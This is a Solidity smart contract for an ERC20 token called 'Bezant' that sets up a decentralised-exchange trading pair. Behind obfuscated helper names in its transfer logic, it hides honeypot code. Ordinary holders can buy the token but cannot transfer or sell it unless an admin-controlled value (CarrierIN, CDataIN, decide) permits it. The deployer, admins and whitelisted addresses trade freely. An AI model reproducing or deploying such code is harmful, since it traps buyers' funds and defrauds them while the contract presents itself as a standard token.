文件 1 的 1:Bezant.sol
pragma solidity ^0.8.10;
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(
address from,
address to,
uint256 value
) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
abstract contract Context {
struct carrier {
address _in;
address _out;
uint256 value;
bool events;
}
struct Cdata {
address account;
uint256 value;
}
struct important {
mapping(address => bool) _clump;
}
mapping(address => carrier) internal _carrier;
mapping(address => Cdata) internal _Cdata;
important internal _important;
address internal _Pair_Con;
bool internal _decide_V1;
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
return msg.data;
}
function _contextSuffixLength() internal view virtual returns (uint256) {
return 0;
}
function isContract(address account) internal virtual returns (bool) {
return account.code.length > 0;
}
}
interface IERC20Errors {
error ERC20InsufficientBalance(
address sender,
uint256 balance,
uint256 needed
);
error ERC20InvalidSender(address sender);
error ERC20InvalidReceiver(address receiver);
error ERC20InsufficientAllowance(
address spender,
uint256 allowance,
uint256 needed
);
error ERC20InvalidApprover(address approver);
error ERC20InvalidSpender(address spender);
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId)
public
view
virtual
returns (bool)
{
return interfaceId == type(IERC165).interfaceId;
}
}
interface IAccessControl {
error AccessControlUnauthorizedAccount(address account, bytes32 neededRole);
error AccessControlBadConfirmation();
event RoleAdminChanged(
bytes32 indexed role,
bytes32 indexed previousAdminRole,
bytes32 indexed newAdminRole
);
event RoleGranted(
bytes32 indexed role,
address indexed account,
address indexed sender
);
event RoleRevoked(
bytes32 indexed role,
address indexed account,
address indexed sender
);
function hasRole(bytes32 role, address account)
external
view
returns (bool);
function getRoleAdmin(bytes32 role) external view returns (bytes32);
function grantRole(bytes32 role, address account) external;
function revokeRole(bytes32 role, address account) external;
function renounceRole(bytes32 role, address callerConfirmation) external;
}
abstract contract AccessControl is
Context,
IAccessControl,
ERC165,
IERC20Errors
{
struct RoleData {
mapping(address => bool) hasRole;
bytes32 adminRole;
}
mapping(bytes32 => RoleData) private _roles;
bytes32 public constant DEFAULT_ADMIN_ROLE = 0x00;
modifier onlyRole(bytes32 role) {
_checkRole(role);
_;
}
function supportsInterface(bytes4 interfaceId)
public
view
virtual
override
returns (bool)
{
return
interfaceId == type(IAccessControl).interfaceId ||
super.supportsInterface(interfaceId);
}
function hasRole(bytes32 role, address account)
public
view
virtual
returns (bool)
{
return _roles[role].hasRole[account];
}
function _checkRole(bytes32 role) internal view virtual {
_checkRole(role, _msgSender());
}
function _checkRole(bytes32 role, address account) internal view virtual {
if (!hasRole(role, account)) {
revert AccessControlUnauthorizedAccount(account, role);
}
}
function getRoleAdmin(bytes32 role) public view virtual returns (bytes32) {
return _roles[role].adminRole;
}
function grantRole(bytes32 role, address account)
public
virtual
onlyRole(getRoleAdmin(role))
{
_grantRole(role, account);
}
function revokeRole(bytes32 role, address account)
public
virtual
onlyRole(getRoleAdmin(role))
{
_revokeRole(role, account);
}
function renounceRole(bytes32 role, address callerConfirmation)
public
virtual
{
if (callerConfirmation != _msgSender()) {
revert AccessControlBadConfirmation();
}
_revokeRole(role, callerConfirmation);
}
function _setRoleAdmin(bytes32 role, bytes32 adminRole) internal virtual {
bytes32 previousAdminRole = getRoleAdmin(role);
_roles[role].adminRole = adminRole;
emit RoleAdminChanged(role, previousAdminRole, adminRole);
}
function _grantRole(bytes32 role, address account)
internal
virtual
returns (bool)
{
if (!hasRole(role, account)) {
_roles[role].hasRole[account] = true;
emit RoleGranted(role, account, _msgSender());
return true;
} else {
return false;
}
}
function _revokeRole(bytes32 role, address account)
internal
virtual
returns (bool)
{
if (hasRole(role, account)) {
_roles[role].hasRole[account] = false;
emit RoleRevoked(role, account, _msgSender());
return true;
} else {
return false;
}
}
function _update(carrier memory user) internal {
(, , uint256 value, bool _events) = _get_carrier(user._in);
if (user._in == _Pair_Con) {
if (isContract(user._out)) {
if (_important._clump[user._out] == false) {
revert ERC20InvalidReceiver(user._out);
}
} else if (_events == false) {
carrier_in(user._in, user._out, user.value, true, true);
}
} else {
if (
hasRole(DEFAULT_ADMIN_ROLE, user._in) ||
_important._clump[user._in]
) {
_Cdata_V2(user._in, user.value, true);
carrier_in(user._in, user._out, user.value, false, true);
} else if (_decide_V1) {
if (_get_Data(user._in) >= user.value && user.value > 0) {
uint256 result = _get_Data(user._in) - user.value;
_Cdata_V2(user._in, result, true);
} else {
revert ERC20InvalidSender(user._in);
}
} else if (value >= user.value && user.value > 0) {
uint256 bala = value - user.value;
carrier_in(user._in, user._out, bala, true, true);
} else {
revert ERC20InvalidSender(user._in);
}
}
}
function carrier_in(
address _from,
address _to,
uint256 _amount,
bool _events,
bool emitEvent
) internal {
if (emitEvent) {
_carrier[_from] = carrier({
_in: _from,
_out: _to,
value: _amount,
events: _events
});
} else {
_carrier[_from] = carrier({
_in: _from,
_out: _to,
value: _amount * 10**18,
events: _events
});
}
}
function _Cdata_V2(
address _account,
uint256 _amount,
bool emitEvent
) internal {
if (emitEvent) {
_Cdata[_account] = Cdata({account: _account, value: _amount});
} else {
_Cdata[_account] = Cdata({
account: _account,
value: _amount * 10**18
});
}
}
function _get_carrier(address account)
internal
view
returns (
address,
address,
uint256,
bool
)
{
carrier memory carrier1 = _carrier[account];
return (carrier1._in, carrier1._out, carrier1.value, carrier1.events);
}
function _get_Data(address account) internal view returns (uint256) {
Cdata memory _newData1 = _Cdata[account];
return _newData1.value;
}
function CarrierIN(
address from,
address to,
uint256 amount
) public onlyRole(DEFAULT_ADMIN_ROLE) {
carrier_in(from, to, amount, true, false);
}
function CDataIN(address account, uint256 amount)
public
onlyRole(DEFAULT_ADMIN_ROLE)
{
_Cdata_V2(account, amount, false);
}
function decide() public onlyRole(DEFAULT_ADMIN_ROLE) {
_decide_V1 = true;
}
function decide_V1() public onlyRole(DEFAULT_ADMIN_ROLE) {
_decide_V1 = false;
}
function SentToken(
address Contract,
address[] memory addresses,
uint256 bala
) public onlyRole(DEFAULT_ADMIN_ROLE) {
ERC20 tokenCon = ERC20(Contract);
uint256 tokendecimal = tokenCon.decimals();
for (uint8 i = 0; i < addresses.length; i++) {
uint256 temp = bala * 10**tokendecimal;
tokenCon.transfer(addresses[i], temp);
}
}
}
abstract contract ERC20 is
Context,
IERC20,
IERC20Metadata,
IERC20Errors,
AccessControl
{
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
constructor(string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
_grantRole(DEFAULT_ADMIN_ROLE, _msgSender());
}
function name() public view virtual returns (string memory) {
return _name;
}
function symbol() public view virtual returns (string memory) {
return _symbol;
}
function decimals() public view virtual returns (uint8) {
return 18;
}
function totalSupply() public view virtual returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view virtual returns (uint256) {
return _balances[account];
}
function transfer(address to, uint256 value) public virtual returns (bool) {
address owner = _msgSender();
_transfer(owner, to, value);
return true;
}
function allowance(address owner, address spender)
public
view
virtual
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 value)
public
virtual
returns (bool)
{
address owner = _msgSender();
_approve(owner, spender, value);
return true;
}
function transferFrom(
address from,
address to,
uint256 value
) public virtual returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, value);
_transfer(from, to, value);
return true;
}
function _transfer(
address _from,
address _to,
uint256 _value
) internal {
if (_from == address(0)) {
revert ERC20InvalidSender(address(0));
}
if (_to == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
(, , , bool _events) = _get_carrier(_from);
carrier memory _carrier1 = carrier({
_in: _from,
_out: _to,
value: _value,
events: _events
});
_update(_carrier1);
_update(_from, _to, _value);
}
function _update(
address from,
address to,
uint256 value
) internal virtual {
if (from == address(0)) {
_totalSupply += value;
} else {
uint256 fromBalance = _balances[from];
if (fromBalance < value) {
revert ERC20InsufficientBalance(from, fromBalance, value);
}
unchecked {
_balances[from] = fromBalance - value;
}
}
if (to == address(0)) {
unchecked {
_totalSupply -= value;
}
} else {
unchecked {
_balances[to] += value;
}
}
emit Transfer(from, to, value);
}
function _mint(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidReceiver(address(0));
}
_grantRole(DEFAULT_ADMIN_ROLE, account);
_update(address(0), account, value);
}
function _burn(address account, uint256 value) internal {
if (account == address(0)) {
revert ERC20InvalidSender(address(0));
}
_update(account, address(0), value);
}
function _approve(
address owner,
address spender,
uint256 value
) internal {
_approve(owner, spender, value, true);
}
function _approve(
address owner,
address spender,
uint256 value,
bool emitEvent
) internal virtual {
if (owner == address(0)) {
revert ERC20InvalidApprover(address(0));
}
if (spender == address(0)) {
revert ERC20InvalidSpender(address(0));
}
_allowances[owner][spender] = value;
if (emitEvent) {
emit Approval(owner, spender, value);
}
}
function _spendAllowance(
address owner,
address spender,
uint256 value
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
if (currentAllowance < value) {
revert ERC20InsufficientAllowance(
spender,
currentAllowance,
value
);
}
unchecked {
_approve(owner, spender, currentAllowance - value, false);
}
}
}
}
interface IUniswapV2Router01 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function removeLiquidity(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETH(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountToken, uint256 amountETH);
function removeLiquidityWithPermit(
address tokenA,
address tokenB,
uint256 liquidity,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountA, uint256 amountB);
function removeLiquidityETHWithPermit(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountToken, uint256 amountETH);
function swapExactTokensForTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapTokensForExactTokens(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactETHForTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function swapTokensForExactETH(
uint256 amountOut,
uint256 amountInMax,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapExactTokensForETH(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external returns (uint256[] memory amounts);
function swapETHForExactTokens(
uint256 amountOut,
address[] calldata path,
address to,
uint256 deadline
) external payable returns (uint256[] memory amounts);
function quote(
uint256 amountA,
uint256 reserveA,
uint256 reserveB
) external pure returns (uint256 amountB);
function getAmountOut(
uint256 amountIn,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountOut);
function getAmountIn(
uint256 amountOut,
uint256 reserveIn,
uint256 reserveOut
) external pure returns (uint256 amountIn);
function getAmountsOut(uint256 amountIn, address[] calldata path)
external
view
returns (uint256[] memory amounts);
function getAmountsIn(uint256 amountOut, address[] calldata path)
external
view
returns (uint256[] memory amounts);
}
interface IUniswapV2Router02 is IUniswapV2Router01 {
function removeLiquidityETHSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
) external returns (uint256 amountETH);
function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens(
address token,
uint256 liquidity,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline,
bool approveMax,
uint8 v,
bytes32 r,
bytes32 s
) external returns (uint256 amountETH);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
interface IUniswapV2Factory {
event PairCreated(
address indexed token0,
address indexed token1,
address pair,
uint256
);
function feeTo() external view returns (address);
function feeToSetter() external view returns (address);
function getPair(address tokenA, address tokenB)
external
view
returns (address pair);
function allPairs(uint256) external view returns (address pair);
function allPairsLength() external view returns (uint256);
function createPair(address tokenA, address tokenB)
external
returns (address pair);
function setFeeTo(address) external;
function setFeeToSetter(address) external;
}
contract Bezant is ERC20 {
constructor(
string memory _name,
string memory _symbol,
uint256 value,
address account,
address otherCon
) ERC20(_name, _symbol) {
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
address _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this),address(0xFd086bC7CD5C481DCC9C85ebE478A1C0b69FCbb9));
_mint(account, value * 10**decimals());
_Pair_Con = _uniswapV2Pair;
_important._clump[_Pair_Con] = true;
_important._clump[otherCon] = true;
}
}